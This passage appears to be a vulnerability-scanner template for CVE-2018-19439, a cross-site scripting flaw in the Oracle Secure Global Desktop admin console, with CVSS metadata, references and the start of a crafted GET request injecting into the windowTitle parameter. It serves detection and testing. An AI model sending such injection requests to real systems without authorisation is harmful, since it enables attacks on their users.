id: CVE-2018-19439 info: name: Cross Site Scripting in Oracle Secure Global Desktop Administration Console author: madrobot,dwisiswant0 severity: medium description: XSS exists in the Administration Console in Oracle Secure Global Desktop 4.4 20080807152602 (but was fixed in later versions including 5.4) tags: cve,cve2018,oracle,xss classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.10 cve-id: CVE-2018-19439 cwe-id: CWE-79 reference: - http://www.securityfocus.com/bid/106006 - http://seclists.org/fulldisclosure/2018/Nov/58 - http://packetstormsecurity.com/files/150444/Oracle-Secure-Global-Desktop-Administration-Console-4.4-Cross-Site-Scripting.html requests: - method: GET path: - "{{BaseURL}}/sgdadmin/faces/com_sun_web_ui/help/helpwindow.jsp?=&windowTitle=AdministratorHelpWindow>